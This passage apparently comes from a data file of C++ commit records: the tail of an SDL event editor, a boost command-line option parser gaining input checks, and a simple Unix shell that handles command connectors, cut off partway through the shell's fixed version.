f->draw(offX+(int)(((float)w-512)*3\/8),offY+60,color[((selectedevent>>20)==0x02e)],1,0,0,\"Any Crash\");\n        f->draw(offX+(int)(((float)w-512)*5\/8),offY+60,color[((selectedevent>>20)==0x02f)],1,0,0,\"Any Signal\");\n        f->draw(offX+(int)(((float)w-512)*7\/8),offY+60,color[((selectedevent>>20)==0x02f)],1,0,0,\"Specific Signal\");\n        break;\n    }\n  }\n  \/\/ event ID\n  SDL_RenderDrawLine(r, offX, h-20, w-256, h-20);\n  f->drawf(offX+8,h-20,color[0],0,0,\"Event ID: 0x%.8x\",selectedevent);\n  \/\/ done\/cancel buttons\n  SDL_RenderDrawLine(r,w-256-128,h-20,w-256-128,h);\n  SDL_RenderDrawLine(r,w-256-64,h-20,w-256-64,h);\n  f->draw(w-256-96,h-20,color[0],1,0,0,\"Done\");\n  f->draw(w-256-32,h-20,color[0],1,0,0,\"Cancel\");\n\n}\n\nvoid eteditor::codeeditor() {\n  f->draw(offX,offY,color[0],1,0,0,\"Code Editor\");\n}\n\nvoid eteditor::setcolor(int colindex, SDL_Color colcol) {\n  color[colindex]=colcol;\n}\n\nvoid eteditor::setmouse(int* x, int* y, unsigned int* b, unsigned int* bold) {\n  mX=x; mY=y; mB=b; mBold=bold;\n}\n\neteditor::eteditor() {\n  entitytype=NULL;\n  select=false;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"Option.h\"\n#include \"Util.h\"\n#include \"MotifTester.h\"\n\nusing namespace std;\n\nOption::Option()\n\t:desc(\"Options\", getScreenSize().first)\n{\n\t\/\/ define\n\tusing boost::program_options::value;\n\tdesc.add_options()\n\t\t(\"help\", \"Print help messages\")\n\t\t(\"nMotif\", value<int>(&nMotif)->default_value(-1), \"[integer] # of motif to load\"\n\t\t\t\"non-positive means load all)\")\n\t\t(\"nGraph\", value<int>(&nGraph)->default_value(-1), \"[integer] # of graph to load\"\n\t\t\t\"non-positive means load all)\")\n\t\t(\"nSkipMotif\",value<int>(&nSkipMotif)->default_value(0),\"[integer] skip the first k valid motifs.\")\n\t\t(\"nSkipGraph\", value<int>(&nSkipGraph)->default_value(0), \"[integer] skip the first k valid graph.\")\n\t\t(\"motifPath\", value<string>(&motifPath), \"the folder for motifs (input)\")\n\t\t(\"motifPattern\", value<string>(&motifPattern)->default_value(string(\"res-.*\\\\.txt\")), \n\t\t\t\"the file name pattern for the motif files, in ECMAScript regular expressions syntax. \"\n\t\t\t\"USE \\\"\\\" to contain the regular expression for special characters of the shell, like *\")\n\t\t(\"graphPath\", value<string>(&graphPath), \"the folder for graph data (input)\")\n\t\t(\"graphTypePos\", value<vector<int>>(&graphTypePos)->multitoken(), \"the type(s) of positive graph\")\n\t\t(\"graphTypeNeg\", value<vector<int>>(&graphTypeNeg)->multitoken()->default_value(vector<int>(1, 0), \"0\"),\n\t\t\t\"the type(s) of negative graphs\")\n\t\t\/\/(\"thrsldMotifSub\", value<double>(&thrsldMotifSub)->default_value(0.4, \"0.4\"), \n\t\t\/\/\t\"the portion threshold for regarding a motif as existence on a subject\")\n\t\t(MotifTester::name.c_str(), value<vector<string>>(&motifTestMethod)->multitoken(), MotifTester::usage.c_str())\n\t\t(\"logFile\", value<string>(&logFile), \"the file for detailed motif checking log (output)\")\n\t\t(\"outputFile\", value<string>(&outputFile), \"the file for outputting the result (output)\")\n\t\t;\n}\n\nboost::program_options::options_description & Option::getDesc()\n{\n\treturn desc;\n}\n\n\nbool Option::parseInput(int argc, char* argv[]) {\n\t\/\/parse\n\tbool flag_help = false;\n\tboost::program_options::variables_map var_map;\n\ttry {\n\t\tboost::program_options::store(\n\t\t\tboost::program_options::parse_command_line(argc, argv, desc), var_map);\n\t\tboost::program_options::notify(var_map);\n\n\t\tif(var_map.count(\"help\")) {\n\t\t\tflag_help = true;\n\t\t}\n\t} catch(std::exception& excep) {\n\t\tcerr << \"error: \" << excep.what() << \"\\n\";\n\t\tflag_help = true;\n\t} catch(...) {\n\t\tcerr << \"Exception of unknown type!\\n\";\n\t\tflag_help = true;\n\t}\n\n\twhile(!flag_help) { \/\/ technique for condition checking\n\t\tsortUpPath(motifPath);\n\t\tsortUpPath(graphPath);\n\t\tmergeGraphType();\n\t\tbreak;\n\t}\n\n\tif(true == flag_help) {\n\t\tcerr << desc << endl;\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nstd::string& Option::sortUpPath(std::string & path)\n{\n\tif(!path.empty() && path.back() != '\/')\n\t\tpath.push_back('\/');\n\treturn path;\n}\n\nvoid Option::mergeGraphType()\n{\n\tgraphTypes.clear();\n\tgraphTypes.reserve(graphTypePos.size() + graphTypeNeg.size());\n\tgraphTypes = graphTypePos;\n\tfor(auto& v : graphTypeNeg)\n\t\tgraphTypes.push_back(v);\n\tsort(graphTypes.begin(), graphTypes.end());\n}\n\n<commit_msg>add input checking<commit_after>#include \"stdafx.h\"\n#include \"Option.h\"\n#include \"Util.h\"\n#include \"MotifTester.h\"\n\nusing namespace std;\n\nOption::Option()\n\t:desc(\"Options\", getScreenSize().first)\n{\n\t\/\/ define\n\tusing boost::program_options::value;\n\tdesc.add_options()\n\t\t(\"help\", \"Print help messages\")\n\t\t(\"nMotif\", value<int>(&nMotif)->default_value(-1), \"[integer] # of motif to load\"\n\t\t\t\"non-positive means load all)\")\n\t\t(\"nGraph\", value<int>(&nGraph)->default_value(-1), \"[integer] # of graph to load\"\n\t\t\t\"non-positive means load all)\")\n\t\t(\"nSkipMotif\",value<int>(&nSkipMotif)->default_value(0),\"[integer] skip the first k valid motifs.\")\n\t\t(\"nSkipGraph\", value<int>(&nSkipGraph)->default_value(0), \"[integer] skip the first k valid graph.\")\n\t\t(\"motifPath\", value<string>(&motifPath), \"the folder for motifs (input)\")\n\t\t(\"motifPattern\", value<string>(&motifPattern)->default_value(string(\"res-.*\\\\.txt\")), \n\t\t\t\"the file name pattern for the motif files, in ECMAScript regular expressions syntax. \"\n\t\t\t\"USE \\\"\\\" to contain the regular expression for special characters of the shell, like *\")\n\t\t(\"graphPath\", value<string>(&graphPath), \"the folder for graph data (input)\")\n\t\t(\"graphTypePos\", value<vector<int>>(&graphTypePos)->multitoken(), \"the type(s) of positive graph\")\n\t\t(\"graphTypeNeg\", value<vector<int>>(&graphTypeNeg)->multitoken()->default_value(vector<int>(1, 0), \"0\"),\n\t\t\t\"the type(s) of negative graphs\")\n\t\t\/\/(\"thrsldMotifSub\", value<double>(&thrsldMotifSub)->default_value(0.4, \"0.4\"), \n\t\t\/\/\t\"the portion threshold for regarding a motif as existence on a subject\")\n\t\t(MotifTester::name.c_str(), value<vector<string>>(&motifTestMethod)->multitoken(), MotifTester::usage.c_str())\n\t\t(\"logFile\", value<string>(&logFile), \"the file for detailed motif checking log (output)\")\n\t\t(\"outputFile\", value<string>(&outputFile), \"the file for outputting the result (output)\")\n\t\t;\n}\n\nboost::program_options::options_description & Option::getDesc()\n{\n\treturn desc;\n}\n\n\nbool Option::parseInput(int argc, char* argv[]) {\n\t\/\/parse\n\tbool flag_help = false;\n\tboost::program_options::variables_map var_map;\n\ttry {\n\t\tboost::program_options::store(\n\t\t\tboost::program_options::parse_command_line(argc, argv, desc), var_map);\n\t\tboost::program_options::notify(var_map);\n\n\t\tif(var_map.count(\"help\")) {\n\t\t\tflag_help = true;\n\t\t}\n\t} catch(std::exception& excep) {\n\t\tcerr << \"error: \" << excep.what() << \"\\n\";\n\t\tflag_help = true;\n\t} catch(...) {\n\t\tcerr << \"Exception of unknown type!\\n\";\n\t\tflag_help = true;\n\t}\n\n\twhile(!flag_help) { \/\/ technique for condition checking\n\t\tif(motifPath.empty()) {\n\t\t\tcerr << \"motif path is not given\" << endl;\n\t\t\tflag_help = true;\n\t\t\tbreak;\n\t\t}\n\t\tif(graphPath.empty()) {\n\t\t\tcerr << \"graph path is not given\" << endl;\n\t\t\tflag_help = true;\n\t\t\tbreak;\n\t\t}\n\t\tif(motifPattern.empty()) {\n\t\t\tcerr << \"motif file name pattern is not given\" << endl;\n\t\t\tflag_help = true;\n\t\t\tbreak;\n\t\t}\n\t\tif(graphTypePos.empty()) {\n\t\t\tcerr << \"positive graph type list is not given\" << endl;\n\t\t\tflag_help = true;\n\t\t\tbreak;\n\t\t}\n\t\tif(graphTypeNeg.empty()) {\n\t\t\tcerr << \"negative graph type list is not given\" << endl;\n\t\t\tflag_help = true;\n\t\t\tbreak;\n\t\t}\n\t\tsortUpPath(motifPath);\n\t\tsortUpPath(graphPath);\n\t\tmergeGraphType();\n\t\tbreak;\n\t}\n\n\tif(true == flag_help) {\n\t\tcerr << desc << endl;\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nstd::string& Option::sortUpPath(std::string & path)\n{\n\tif(!path.empty() && path.back() != '\/')\n\t\tpath.push_back('\/');\n\treturn path;\n}\n\nvoid Option::mergeGraphType()\n{\n\tgraphTypes.clear();\n\tgraphTypes.reserve(graphTypePos.size() + graphTypeNeg.size());\n\tgraphTypes = graphTypePos;\n\tfor(auto& v : graphTypeNeg)\n\t\tgraphTypes.push_back(v);\n\tsort(graphTypes.begin(), graphTypes.end());\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <boost\/tokenizer.hpp>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string>\n#include <sys\/wait.h>\n#include <sys\/types.h>\n#include <vector>\n#include <pwd.h>\n#include <iostream>\n\nusing namespace std;\nusing namespace boost;\n\nclass Shell {\n    private:\n        string command;\n        bool exit_override;\n        \/\/Step 1: Ask for command\n        \/\/Step 2: Parse command\n        \/\/Step 3: Execute command\n        \/\/Step 4: Account for connectors\n    public:\n        Shell() {exit_override = false;};\n        ~Shell() {};\n        void run() \n        {\n            char* name;\n            char hostname[1024];\n            gethostname(hostname, 1024);\n            struct passwd* pass;\n            pass = getpwuid(getuid());\n            name = pass->pw_name;\n            exit_override = false;   \n            while(command != \"exit\" || !exit_override) \n            {\n             \n                if(exit_override)\n                {\n                    return;\n                }\n                else\n                {\n               \t    cout << name << \"@\" << hostname << \"$ \";\n                    getline(cin, command);\n                    if(command == \"exit\") \/\/If the command is just exit\n                    {\n                        return;  \n                    }\n                    else if(command != \"\") \/\/If we entered an actual command\n                    {\n\t\t\tint result = parse(command);\n\t\t        if(result == 2)\n                        {\n                            exit_override = true;\n\t\t\t    exit(0);\n                        }\n\t\t\telse if(result == 1)\n\t\t\t{\n\t\t\t    cout << \"Error: Command Invalid.\" << endl;\n\t\t\t}\n                    }\n                }\n            }\n        }\n        int parse(string cmdLine) \n        {\n            vector <string> v;\n            \/\/Defines a tokenizer type that seperates cmdLine by spaces\n            typedef tokenizer<char_separator<char> > tokenizer;\n            char_separator<char> sep(\" \");\n            tokenizer tok(cmdLine, sep);\n            \n            \n            \/\/Checks each token and puts it in a vector.\n            for (tokenizer::iterator it = tok.begin(); it != tok.end(); ++it)\n            {\n                    v.push_back(*it); \n            }\n\t        \/\/Takes each tokenized phrase and anaylzes it for different cases.\n            v = analyze_split(v);\n            \n            \/\/Quick check if the first command is exit.\n\t        if (v.at(0) == \"exit\")\n\t        {\n\t\t        return 2;\n\t        }\n\t        \n\t        \/\/Organize the vector by precedence.\n\t        vector<vector <string> > commands = organize_commands(v);\n\t        \n\t        \/\/Create a new vector to store and run commands.\n\t        \/\/Also create a last_output variable, telling us whether or not the\n\t        \/\/last output of a command was true or false.\n            vector<string> command_to_execute;\n\t        int last_output = 2; \/\/0 - false 1 - true\n            \n            for (unsigned i = 0; i < commands.size(); ++i)\n            {\n                    \n                for (unsigned j = 0; j < commands.at(i).size(); ++j)\n                {\n                    \/\/std::cout << commands.at(i).at(j) << std::endl; Use to output commands\n                    \/\/If comment is seen, we don't push it to our command.\n                    \/\/Instead, we execute it and jump out of the loop.\n                    if(commands.at(i).at(j).at(0) == '#')\n                    {\n                        execute(command_to_execute);\n                        return 4; \/\/Error code for command\n                    }\n                    \/\/If a connector is detected.\n                    else if (commands.at(i).at(j) == \"||\" || commands.at(i).at(j) == \"&&\" || commands.at(i).at(j) == \";\")\n                    {\n                        \/\/Case 0: The connector is either the only element in the vector OR the first element\n                        \/\/Also does quick checks for && in case the past commands failed already\n                        \/\/Check if the command failed last time and the connector is an \"and\" symbol\n    \t\t            if (last_output == 0 && commands.at(i).at(j) == \"&&\")\n    \t\t            {\n    \t\t\t            return 1;\n    \t\t            }\n    \t\t            \/\/Checks if the last command succeeded, the input is &&, and that it is either the only command OR the first element\n    \t\t            \/\/in another command.\n    \t\t            else if (last_output == 1 && commands.at(i).at(0) == \"&&\")\n    \t\t            { \n    \t\t                last_output = last_output;\n    \t\t            }\n    \t\t            \/\/Checks if the last command failed and that the connector is an \"or\" symbol\n    \t\t            else if (last_output == 0 && commands.at(i).at(j) == \"||\")\n    \t\t            {\n    \t\t                ++i;\n    \t\t            }\n    \t\t            \/\/Checks if the last command succeeded, the input is ||, and that it is either the only command OR the first element\n    \t\t            \/\/in another command.\n    \t\t            else if(last_output == 1 && commands.at(i).at(0) == \"||\")\n    \t\t            {\n    \t\t                return 5; \/\/We know that if it is either of those cases, then we don't do anything else to the rest of the input.\n    \t\t            }\n    \t\t            else\n    \t\t            {\n    \t\t                \/\/CASE 1: There are inputs BEFORE the connector.\n    \t\t                \/\/Execute the command. Store its result in a boolean.\n                            bool cmd_output = execute(command_to_execute);\n    \t\t                last_output = cmd_output;\n                            command_to_execute.clear(); \/\/Clear the vector to add in new commands.\n                            \/\/Check whether or not to add in new commands depending on the connector.\n                            bool cnt_output = connector(cmd_output, commands.at(i).at(j));\n                            \n                            if (cnt_output == false)\n                            {   \n    \t\t\t                if (cmd_output == 1) \/\/If the first command failed and we have an || connector after\n    \t\t\t                {\n    \t\t\t                    break; \/\/Just return since nothing else is supposed to happen for that command.\n    \t\t\t                }\n                                if (cmd_output == 0) \/\/If the first command failed and we have an && connector after\n    \t\t\t                {\n    \t\t\t                    return 1; \/\/Return code for failure\n    \t\t\t                }\n                            }\n    \t\t            }\n                    }\n                    \/\/CASE 2: The command has no connectors AND\/OR this is the last element of the command\n                    else if (j == (unsigned)commands.at(i).size() - 1)\n                    {\n                        if (commands.at(i).at(j) == \"exit\")\n                        {\n                            return 2;\n                        }\n                        command_to_execute.push_back(commands.at(i).at(j));\n                        bool temp = execute(command_to_execute);\n                        command_to_execute.clear();\n                        if (temp == false)\n                        {\n                            return 1; \/\/Return code for error\n                        }\n                    }\n                    \/\/CASE 3: An piece of a command that is not a connector is pushed in.\n                    else\n                    {\n                        command_to_execute.push_back(commands.at(i).at(j));\n                    }\n                   \/\/ cout << v.at(i) << endl;\n                }\n            }\n            return 0; \/\/Return code for command sucessfully parsed\n            \n        }\n\n        \/\/Accounts for connectors mixed with other text\n        vector<string> analyze_split(vector<string>& v)\n        {\n            vector<string> commands;\n            \/\/Look at each string in the vector.\n\n            for(unsigned i = 0; i < v.size(); ++i)\n            {\n                string temp;\n                \/\/Look at each letter of each string for connectors.\n                for(unsigned j = 0; j < v.at(i).size(); ++j)\n                {\n                    \/\/Tests whether or not we found a connector.\n\t\t            if(v.at(i).at(j) == '|' && j + 1 != v.at(i).size())\n\t\t            {\n                        if(v.at(i).at(j + 1) == '|')\n                        {\n                           if(temp != \"\")\n                            {\n                                commands.push_back(temp);\n                            }\n\n                            temp = \"||\";\n                            commands.push_back(temp);\n                            temp = \"\";\n                            ++j;\n                        }\n\t\t            }\n\t\t            else if(v.at(i).at(j) == '&' && j + 1 != v.at(i).size())\n\t\t            {\t    \n\t\t                if( v.at(i).at(j + 1) == '&')\n                            {\n                                if(temp != \"\")\n                                {\n                                commands.push_back(temp);\n                                }\n                        \n                                temp = \"&&\";\n                                commands.push_back(temp);\n                                temp = \"\";\n                                ++j;\n\t\t\t                }\n                    }\n                    else if(v.at(i).at(j) == ';')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                        \n                        temp = \";\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else if(v.at(i).at(j) == '#')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                \n                        temp = \"#\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else if(v.at(i).at(j) == '(')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                \n                        temp = \"(\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else if(v.at(i).at(j) == ')')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                \n                        temp = \")\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else\n                    {\n                        temp = temp + v.at(i).at(j);\n                    }\n                }\n                if(temp != \"\")\n                {\n                    commands.push_back(temp);\n                }\n\n            }\n            \/\/Push the string in case there are no connectors.\n            \/\/commands.push_back(temp);\n            \/\/Input should now be organized correctly by parts.\n\t    \n           \/\/Test to see if commands are actually parsed correctly.\n\t    \/*for (unsigned i = 0; i < commands.size(); i++)\n\t    {\n\t\t    cout << commands.at(i) << endl;\n\t    }*\/\n            return commands;\n        }\n        \/\/TO DO: Check for erroneous paratheses. *****************************************************\n        vector<vector<string> >organize_commands(vector<string> whole_command)\n        {\n            \/\/Vector to be returned\n            vector<vector<string> > commands;\n            \/\/Vector of a single command that is constantly pushed into the vector above.\n            vector<string> command;\n            bool para_open = false; \/\/Checks if the parathese is open or not.\n            \n            for(unsigned i = 0; i < whole_command.size(); ++i)\n            {\n                if(whole_command.at(i) == \"(\")\n                {\n                    \/\/We now know that there is an open paratheses.\n                    para_open = true;\n                    \/\/Push the current command onto the vector.\n                    if(!command.empty())\n                    {\n                        commands.push_back(command);\n                        command.clear();\n                    }\n\n                }\n                else if(para_open == true)\n                {\n                    \/\/There is a closed paratheses which will close the inner command.\n                    if(whole_command.at(i) == \")\")\n                    {\n                        \/\/We know that this is a closed set of paratheses, so we push that command on there.\n                        para_open = false;\n                        commands.push_back(command);\n                        command.clear();\n                    }\n                    else\n                    {\n                        \/\/In this case we just add the piece of the command onto the vector before we close it.\n                        command.push_back(whole_command.at(i));\n                    }\n                }\n                else\n                {   \/\/Just add the piece of the command onto the vector.\n                    command.push_back(whole_command.at(i));\n                }\n            }\n            \/\/If no paratheses were left in the vector we simply check of any commands were put into the vector\n            \/\/And push that in as well.\n            if(!command.empty())\n            {\n                commands.push_back(command);\n            }\n\n            \/\/Test to see if the commands are actually organized correctly.\n            \/*for (unsigned i = 0; i < commands.size(); ++i)\n\t        {\n\t            for(unsigned j = 0; j < commands.at(i).size(); j++)\n\t            {\n\t                std::cout << commands.at(i).at(j) << std::endl;\n\t            }\n\t            std::cout << \"COMMAND\" << std::endl;\n\t        }*\/\n            \n            return commands;\n        }\n        \n        \/\/Executes the command.\n        bool execute(vector<string>cmd)\n        {\n                \/\/Accounts for case if a comment is inputted.\n                if (cmd.size() == 0)\n                {\n                    return false;\n                }\n                else if (cmd.at(0) == \"exit\" && cmd.size() == 1)\n                {\n                    cout << \"Exit statement hit.\" << endl;\n                    return false;\n                }\n                else\n                {\n\t\t    char **temp = new char*[cmd.size() + 1];\n               \/\/ char* temp[cmd.size()+ 1];\n                \/\/Sets the command in a c-string form.\n                for(unsigned i = 0; i < cmd.size(); ++i)\n                {\n                    temp[i] = (char*)cmd.at(i).c_str();\n                }\n                \/\/We push a null character at the end of the array to let execvp\n                \/\/know where to end with the command.\n                temp[cmd.size()] = NULL;\n                \n                pid_t pid = fork();\n                if (pid == 0)\n                {\n                    \/\/If the command does not work\n                    if(execvp(temp[0], temp) == -1)\n                    {\n                        perror(\"exec\");\n                        return false;\n                    }\n                }\n                if (pid > 0)\n                {\n                    if (wait(0) == -1)\n                    {\n                        perror(\"wait\");\n                    }\n                }\n                return true;\n                }\n        }\n\t\/\/Connector Logic is put here.\n\t\/\/Made to decide whether or not to execute the next command\n\t\/\/in sequence given the connector.\n        bool connector(bool cmdExecuted, string connector)\n        {\n            if(connector == \"||\") \n            {\n                if(cmdExecuted == false)\n                {\n                    return true;\n                }\n                else\n                {\n                    return false;\n                }\n            }\n            else if(connector == \"&&\")\n            {\n                if(cmdExecuted == true)\n                {\n                    return true;  \n                }\n                else\n                {\n                    return false;\n                }\n            }\n            else if(connector == \"#\")\n            {\n                return false;\n            }\n            \/\/Semicolon will always execute next command \n            else \n            {\n                return true;    \n            }\n        }\n};<commit_msg>Fixed shell bugs<commit_after>#include <boost\/tokenizer.hpp>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string>\n#include <sys\/wait.h>\n#include <sys\/types.h>\n#include <vector>\n#include <pwd.h>\n#include <iostream>\n\nusing namespace std;\nusing namespace boost;\n\nclass Shell {\n    private:\n        string command;\n        bool exit_override;\n        \/\/Step 1: Ask for command\n        \/\/Step 2: Parse command\n        \/\/Step 3: Execute command\n        \/\/Step 4: Account for connectors\n    public:\n        Shell() {exit_override = false;};\n        ~Shell() {};\n        void run() \n        {\n            char* name;\n            char hostname[1024];\n            gethostname(hostname, 1024);\n            struct passwd* pass;\n            pass = getpwuid(getuid());\n            name = pass->pw_name;\n            exit_override = false;   \n            while(command != \"exit\" || !exit_override) \n            {\n             \n                if(exit_override)\n                {\n                    return;\n                }\n                else\n                {\n               \t    cout << name << \"@\" << hostname << \"$ \";\n                    getline(cin, command);\n                    if(command == \"exit\") \/\/If the command is just exit\n                    {\n                        return;  \n                    }\n                    else if(command != \"\") \/\/If we entered an actual command\n                    {\n\t\t\tint result = parse(command);\n\t\t        if(result == 2)\n                        {\n                            exit_override = true;\n\t\t\t    exit(0);\n                        }\n\t\t\telse if(result == 1)\n\t\t\t{\n\t\t\t    cout << \"Error: Command Invalid.\" << endl;\n\t\t\t}\n                    }\n                }\n            }\n        }\n        int parse(string cmdLine) \n        {\n            vector <string> v;\n            \/\/Defines a tokenizer type that seperates cmdLine by spaces\n            typedef tokenizer<char_separator<char> > tokenizer;\n            char_separator<char> sep(\" \");\n            tokenizer tok(cmdLine, sep);\n            \n            \n            \/\/Checks each token and puts it in a vector.\n            for (tokenizer::iterator it = tok.begin(); it != tok.end(); ++it)\n            {\n                    v.push_back(*it); \n            }\n\t        \/\/Takes each tokenized phrase and anaylzes it for different cases.\n            v = analyze_split(v);\n            \n            \/\/Quick check if the first command is exit.\n\t        if (v.at(0) == \"exit\")\n\t        {\n\t\t        return 2;\n\t        }\n\t        \n\t        \/\/Organize the vector by precedence.\n\t        vector<vector <string> > commands = organize_commands(v);\n\t        \n\t        \/\/Create a new vector to store and run commands.\n\t        \/\/Also create a last_output variable, telling us whether or not the\n\t        \/\/last output of a command was true or false.\n            vector<string> command_to_execute;\n\t        int last_output = 2; \/\/0 - false 1 - true\n\t        int cnt_output = 2;\n            \n            for (unsigned i = 0; i < commands.size(); ++i)\n            {\n                    \n                for (unsigned j = 0; j < commands.at(i).size(); ++j)\n                {\n                    \/\/std::cout << commands.at(i).at(j) << std::endl; Use to output commands\n                    \/\/If comment is seen, we don't push it to our command.\n                    \/\/Instead, we execute it and jump out of the loop.\n                    if(commands.at(i).at(j).at(0) == '#')\n                    {\n                        execute(command_to_execute);\n                        return 4; \/\/Error code for command\n                    }\n                    \/\/If a connector is detected.\n                    else if (commands.at(i).at(j) == \"||\" || commands.at(i).at(j) == \"&&\" || commands.at(i).at(j) == \";\")\n                    {\n                        \/\/std::cout << commands.at(i).at(j) << std::endl;\n                        \/\/std::cout << last_output << \" \" << cnt_output << std::endl;\n\n                        \/\/Case 0: The connector is either the only element in the vector OR the first element\n                        \/\/Also does quick checks for && in case the past commands failed already\n                        \/\/Check if the command failed last time and the connector is an \"and\" symbol\n    \t\t            if (last_output == 0 && commands.at(i).at(j) == \"&&\")\n    \t\t            {\n    \t\t\t            return 1;\n    \t\t            }\n    \t\t            \/\/Checks if the last command succeeded, the input is &&, and that it is either the only command OR the first element\n    \t\t            \/\/in another command.\n    \t\t            else if (last_output == 1 && commands.at(i).at(0) == \"&&\" && j == 0)\n    \t\t            {\n    \t\t                cnt_output = 1; \/\/We want to simulate that && connector goes true, so we make out cnt_output to 1 to indicate that\n    \t\t                                \/\/ we can go on with the next command.\n    \t\t            }\n    \t\t            \/\/Checks for past || operators. If the command before || runs true, everything afterward should\n                        \/\/not run at all.\n                        else if(last_output == 1 && cnt_output == 0)\n                        {\n                            break;\n                        }\n    \t\t            \/\/Checks if the last command failed, the input is ||, and that it is either the only command OR the first element\n    \t\t            \/\/in another command.\n    \t\t            else if (last_output == 0 && commands.at(i).at(0) == \"||\")\n    \t\t            {\n    \t\t                last_output = 2;\n    \t\t            }\n    \t\t            \/\/Checks if the last command failed and that the connector is an \"or\" symbol\n    \t\t            else if (last_output == 0 && commands.at(i).at(j) == \"||\")\n    \t\t            {\n    \t\t                ++i;\n    \t\t            }\n    \t\t            \/\/Checks if the last command succeeded, the input is ||, and that it is either the only command OR the first element\n    \t\t            \/\/in another command.\n    \t\t            else if(last_output == 1 && commands.at(i).at(0) == \"||\")\n    \t\t            {\n    \t\t                cnt_output = 0;\n    \t\t                break; \/\/We know that if it is either of those cases, then we don't do anything else to the rest of the input.\n    \t\t            }\n    \t\t            else\n    \t\t            {\n    \t\t                \/\/CASE 1: There are inputs BEFORE the connector.\n    \t\t                \/\/Execute the command. Store its result in a boolean.\n                            bool cmd_output = execute(command_to_execute);\n    \t\t                last_output = cmd_output;\n                            command_to_execute.clear(); \/\/Clear the vector to add in new commands.\n                            \/\/Check whether or not to add in new commands depending on the connector.\n                            cnt_output = connector(cmd_output, commands.at(i).at(j));\n                            \n                            if (cnt_output == 0)\n                            {   \n    \t\t\t                if (cmd_output == 1) \/\/If the first command failed and we have an || connector after\n    \t\t\t                {\n    \t\t\t                    break; \/\/Just return since nothing else is supposed to happen for that command.\n    \t\t\t                }\n                                if (cmd_output == 0) \/\/If the first command failed and we have an && connector after\n    \t\t\t                {\n    \t\t\t                    break; \/\/Break because we're done with this command.\n    \t\t\t                }\n                            }\n    \t\t            }\n                    }\n                    \/\/CASE 2: The command has no connectors AND\/OR this is the last element of the command\n                    else if (j == (unsigned)commands.at(i).size() - 1)\n                    {\n                        \/\/Checks for past || operators. If the command before || runs true, everything afterward should\n                        \/\/not run at all.\n                        if(last_output == 1 && cnt_output == 0)\n                        {\n                            break;\n                        }\n                        else if (commands.at(i).at(j) == \"exit\")\n                        {\n                            return 2;\n                        }\n                        \/\/Push the last command onto the vector\n                        command_to_execute.push_back(commands.at(i).at(j));\n                        bool cmd_output = execute(command_to_execute);\n                        last_output = cmd_output; \/\/Check to see if the command failed.\n                        command_to_execute.clear();\n                        if (cmd_output == false)\n                        {\n                            break; \/\/Return code for error\n                        }\n                    }\n                    \/\/CASE 3: An piece of a command that is not a connector is pushed in.\n                    else\n                    {\n                        if(last_output == 1 && cnt_output == 0)\n                        {\n                            break;\n                        }\n                        else\n                        {\n                            command_to_execute.push_back(commands.at(i).at(j));\n                        }\n                    }\n                   \/\/ cout << v.at(i) << endl;\n                }\n            }\n            return 0; \/\/Return code for command sucessfully parsed\n            \n        }\n\n        \/\/Accounts for connectors mixed with other text\n        vector<string> analyze_split(vector<string>& v)\n        {\n            vector<string> commands;\n            \/\/Look at each string in the vector.\n\n            for(unsigned i = 0; i < v.size(); ++i)\n            {\n                string temp;\n                \/\/Look at each letter of each string for connectors.\n                for(unsigned j = 0; j < v.at(i).size(); ++j)\n                {\n                    \/\/Tests whether or not we found a connector.\n\t\t            if(v.at(i).at(j) == '|' && j + 1 != v.at(i).size())\n\t\t            {\n                        if(v.at(i).at(j + 1) == '|')\n                        {\n                           if(temp != \"\")\n                            {\n                                commands.push_back(temp);\n                            }\n\n                            temp = \"||\";\n                            commands.push_back(temp);\n                            temp = \"\";\n                            ++j;\n                        }\n\t\t            }\n\t\t            else if(v.at(i).at(j) == '&' && j + 1 != v.at(i).size())\n\t\t            {\t    \n\t\t                if( v.at(i).at(j + 1) == '&')\n                            {\n                                if(temp != \"\")\n                                {\n                                commands.push_back(temp);\n                                }\n                        \n                                temp = \"&&\";\n                                commands.push_back(temp);\n                                temp = \"\";\n                                ++j;\n\t\t\t                }\n                    }\n                    else if(v.at(i).at(j) == ';')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                        \n                        temp = \";\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else if(v.at(i).at(j) == '#')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                \n                        temp = \"#\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else if(v.at(i).at(j) == '(')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                \n                        temp = \"(\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else if(v.at(i).at(j) == ')')\n                    {\n                        if(temp != \"\")\n                        {\n                            commands.push_back(temp);\n                        }\n                \n                        temp = \")\";\n                        commands.push_back(temp);\n                        temp = \"\";\n                    }\n                    else\n                    {\n                        temp = temp + v.at(i).at(j);\n                    }\n                }\n                if(temp != \"\")\n                {\n                    commands.push_back(temp);\n                }\n\n            }\n            \/\/Push the string in case there are no connectors.\n            \/\/commands.push_back(temp);\n            \/\/Input should now be organized correctly by parts.\n\t    \n           \/\/Test to see if commands are actually parsed correctly.\n\t    \/*for (unsigned i = 0; i < commands.size(); i++)\n\t    {\n\t\t    cout << commands.at(i) << endl;\n\t    }*\/\n            return commands;\n        }\n        \/\/TO DO: Check for erroneous paratheses. *****************************************************\n        vector<vector<string> >organize_commands(vector<string> whole_command)\n        {\n            \/\/Vector to be returned\n            vector<vector<string> > commands;\n            \/\/Vector of a single command that is constantly pushed into the vector above.\n            vector<string> command;\n            bool para_open = 